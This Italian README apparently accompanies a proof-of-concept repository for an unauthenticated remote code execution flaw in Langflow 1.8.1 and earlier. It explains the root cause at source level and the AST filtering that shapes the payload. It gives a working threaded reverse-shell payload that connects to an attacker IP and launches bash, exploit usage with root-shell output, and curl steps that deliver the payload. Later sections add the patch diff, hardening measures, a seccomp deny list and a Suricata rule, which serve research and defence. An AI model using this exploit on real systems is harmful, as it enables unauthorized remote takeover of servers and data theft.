
PoC exploit per una RCE non autenticata in Langflow <=1.8.1, che include analisi della causa principale a livello di sorgente, payload di reverse shell basato su AST, lab Docker, diff della patch e regole di rilevamento.
Disclaimer
Questo repository è stato creato a scopo di ricerca e formazione sulla sicurezza.
Utilizzarlo esclusivamente in ambienti di laboratorio isolati.
L'uso su sistemi non autorizzati costituisce una violazione della legge sulle reti di comunicazione e informazione ed è passibile di sanzioni penali.
| Voce | Dettaglio |
|---|
| CVE ID | CVE-2026-33017 |
| Software vulnerabile | Langflow (costruttore di workflow AI) |
| Versioni interessate | Langflow ≤ 1.8.1 |
| Versione con patch | Langflow ≥ 1.9.0 |
| Tipo di vulnerabilità | Esecuzione remota di codice (RCE) non autenticata |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | Inclusa |
POST /api/v1/build_public_tmp/{flow_id}/flow
È un endpoint destinato alla creazione di flussi pubblici, progettato per essere accessibile senza autenticazione.
Percorso di esecuzione verificato tracciando direttamente il codice sorgente:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← riceve l'input del cliente così com'è (vulnerabilità)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← inoltra i dati del cliente così come sono
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← esecuzione di codice arbitrario
La funzione prepare_global_scope() non esegue tutte le istruzioni del codice inviato.
Dopo il parsing AST, seleziona ed esegue solo tipi di nodo specifici:
# lfx/custom/validate.py — interno di prepare_global_scope()
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Il nodo Expr non è incluso in nessun ramo → non viene eseguito
exec(compiled_code, exec_globals) # vengono eseguite solo definitions
Tipi di nodo AST eseguibili:
| Tipo di nodo AST | Esempio | Esecuzione |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ Eseguito |
ClassDef | class ExploitComponent(Component) | ✅ Eseguito |
Assign | _r = os.system("id") | ✅ Eseguito |
AnnAssign | _r: int = os.system("id") | ✅ Eseguito |
Expr | os.system("id") (chiamata singola) | ❌ Ignorato |
Conclusione: il payload deve essere obbligatoriamente scritto nella forma
Assign(_r = ...) per essere eseguito.
Una semplice chiamata di funzione (os.system("id")) viene classificata come nodoExpre filtrata.
Durante l'esercitazione sono stati provati diversi approcci di payload e per ciascun fallimento la causa è stata individuata a livello di sorgente.
subprocess.Popen + wait() (fallito)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← bloccante qui
Causa del fallimento: il thread worker di Langflow, monitorando il valore di ritorno del componente, chiude forzatamente la socket al timeout. Il blocco di _proc.wait() diventa inutile.
os.execve() (fallito)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
Causa del fallimento: secondo le regole POSIX, in un processo multithread la chiamata a execve() termina tutti i thread tranne quello chiamante → crash dell'intero worker uvicorn → HTTP 500.
os.fork() + execve() (fallito)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
Causa del fallimento: uvicorn rileva la terminazione anomala del processo figlio e riavvia il worker → HTTP 500.
threading.Thread(daemon=True) (fallito)threading.Thread(target=_shell, daemon=True).start()
Causa del fallimento: un thread con daemon=True viene distrutto insieme al thread principale (worker Langflow) quando termina. Il thread muore prima del tentativo di connect().
threading.Thread(daemon=False) + Assign# FunctionDef → eseguito
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → eseguito (le chiamate Expr isolate sono escluse dal filtro, quindi è obbligatoria l'assegnazione a una variabile)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
Motivo della scelta di daemon=False:
daemon=True → viene distrutto insieme al thread worker di Langflow al terminedaemon=False → ciclo di vita indipendente dal worker → consente di mantenere attiva la connessione della socketCVE-2026-33017/
├── README.md
├── Dockerfile # Ambiente Langflow 1.8.1 vulnerabile
├── Dockerfile.attacker # Contenitore dell'attaccante (include curl, nc, net-tools)
├── docker-compose.yml # Server vulnerabile + contenitore dell'attaccante
├── entrypoint.sh # Avvio di Langflow e creazione automatica del flusso pubblico
├── exploit.py # PoC di reverse shell
└── poc.py # Blind RCE / verifica dell'esistenza della vulnerabilità
# 1. Creazione e avvio dei contenitori
docker compose up --build
# 2. Verifica dell'accesso alla Web UI di Langflow
# http://localhost:7860
# admin / admin123!
# 3. Verifica degli IP dei contenitori
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (vittima) │
│ langflow-attacker 172.19.0.3 (attaccante) │
└──────────────────────────────────────────────────┘
Eseguire all'interno del contenitore dell'attaccante:
docker exec -it langflow-attacker bash
# Modalità automatica (emissione token + creazione flusso pubblico + listener integrato)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
Opzioni:
| Opzione | Descrizione | Default |
|---|---|---|
--url | URL di Langflow di destinazione | Obbligatorio |
--lhost | IP di callback per la reverse shell | Obbligatorio |
--lport | Porta di callback per la reverse shell | Obbligatorio |
--flow-id | UUID del flusso pubblico (se omesso, generato automaticamente) | Automatico |
--user | ID amministratore | admin |
--password | Password amministratore | admin123! |
--no-listen | Disattiva il listener integrato (per l'uso di un nc esterno) | False |
--timeout | Timeout HTTP (secondi) | 30 |
Output previsto:
============================================================
CVE-2026-33017 — PoC RCE non autenticata di Langflow
============================================================
[*] Accesso in corso... (admin)
[*] Token emesso con successo
[*] Creazione del flusso pubblico in corso...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] Listener avviato → 0.0.0.0:4444
[*] Endpoint : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] Callback : 172.19.0.3:4444
[*] Invio del payload in corso...
[*] Risposta HTTP : 200
[+] Shell connessa ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
Da usare quando si vuole verificare solo l'esistenza della vulnerabilità:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. Emissione del token + creazione del flusso pubblico
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. Listener nc (terminale 1)
nc -lvnp 4444
# 3. Invio del payload (terminale 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
| Voce | exploit.py | poc.py |
|---|---|---|
| Scopo | Ottenere una reverse shell | Verificare l'esistenza della vulnerabilità (Blind RCE) |
| Verifica del risultato | Direttamente nel terminale dell'attaccante | Log del server / OOB |
| Listener | Integrato | Non necessario |
| Obiettivi multipli | Non supportato | Supportato (--url-file) |
| Uso in laboratorio | Dimostrazione dell'impatto | Dimostrazione dell'esistenza della vulnerabilità |
langflow/api/v1/chat.py:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # ← riceve l'input del cliente
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # ← inoltra i dati del cliente così come sono alla pipeline di build
...
)
langflow/api/v1/chat.py (verificato direttamente nel sorgente):
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# parametro data completamente rimosso dalla firma
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # ← None hardcoded, input del cliente completamente bloccato
source_flow_id=flow_id, # ← la definizione del flusso viene caricata solo dal DB
...
)
| Voce | 1.8.1 (vulnerabile) | 1.9.1 (patchata) |
|---|---|---|
Ricezione del parametro data | ✅ Ricevuto | ❌ Rimosso dalla firma |
| Esecuzione delle definizioni dei nodi del cliente | ✅ Possibile | ❌ Impossibile |
| Origine della definizione del flusso | Corpo della richiesta del cliente | Solo valori salvati nel DB |
| RCE senza autenticazione | ✅ Riuscita | ❌ Bloccata |
| Risposta HTTP | 200 + shell connessa | 200 (build vuota, nessun nodo) |
Perché la progettazione che rimuove il parametro stesso, anziché una semplice validazione dell'input, è quella corretta:
Progettazione vulnerabile: input del cliente → validazione → esecuzione (possibile bypass della validazione)
Progettazione della patch: input del cliente → completamente ignorato
solo flusso salvato nel DB → esecuzione (percorso di attacco eliminato alla radice)
pip install langflow==1.9.1
Posizione del file: nginx.conf (da creare)
server {
listen 80;
# Blocco dell'endpoint vulnerabile CVE-2026-33017
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Nota: per un'efficacia reale, è necessario bloccare anche l'esposizione diretta esterna della porta 7860 di Langflow.
Posizione del file:
/etc/apache2/sites-available/langflow.conf/etc/httpd/conf.d/langflow.conf<Location "/api/v1/build_public_tmp/">
Require all denied
</Location>
Senza flussi pubblici, l'endpoint restituisce 404 e l'attacco non è possibile.
Come politica operativa, vietare la creazione di flussi pubblici o impostare i flussi esistenti su PRIVATE.
Per ambienti EC2:
Regole in ingresso:
Porta 7860 → consentire solo IP autorizzati (rimuovere 0.0.0.0/0)
Anche se l'RCE riesce, bloccare le callback esterne:
# Blocco del traffico in uscita del contenitore langflow
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP
oppure in docker-compose.yml:
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
Blocco delle syscall pericolose tramite profilo seccomp (langflow-seccomp.json):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
security_opt:
- seccomp:./langflow-seccomp.json
| Misura | Tipo | Effetto |
|---|---|---|
| Aggiornamento a 1.9.1 | Soluzione definitiva | Rimozione del parametro data |
| Blocco Nginx/Apache | Blocco dell'accesso | Blocco del percorso di attacco |
| Non uso di flussi pubblici | Blocco dell'accesso | Endpoint 404 |
| AWS Security Group | Blocco di rete | Blocco alla fonte dell'accesso esterno |
| Blocco del traffico in uscita | Blocco successivo | Blocco della callback della reverse shell |
| Hardening del contenitore | Minimizzazione dei danni | Blocco di escalation dei privilegi/syscall |
Richieste HTTP sospette:
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
Modelli di log del server Langflow:
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
Oltre alla semplice esecuzione del PoC, questo repository ha ulteriormente chiarito i seguenti punti tramite analisi a livello di sorgente:
Scoperta del filtraggio dei nodi AST
Verificato direttamente tramite analisi del sorgente che prepare_global_scope() in lfx/custom/validate.py ignora i nodi Expr. Ciò spiega perché il payload dei PoC pubblici esistenti, basato su semplici chiamate di funzione, fallisce in questo ambiente.
Analisi delle cause dei fallimenti del payload
Analizzate le cause dei fallimenti di 4 approcci — Popen+wait(), execve(), fork()+execve(), thread con daemon=True — dal punto di vista dell'architettura multithread di uvicorn e delle regole POSIX.
Verifica diretta del codice della patch
Verificato direttamente a livello di sorgente in chat.py della 1.9.1 l'hardcoding di data=None e la rimozione del parametro, analizzando l'intento progettuale della patch.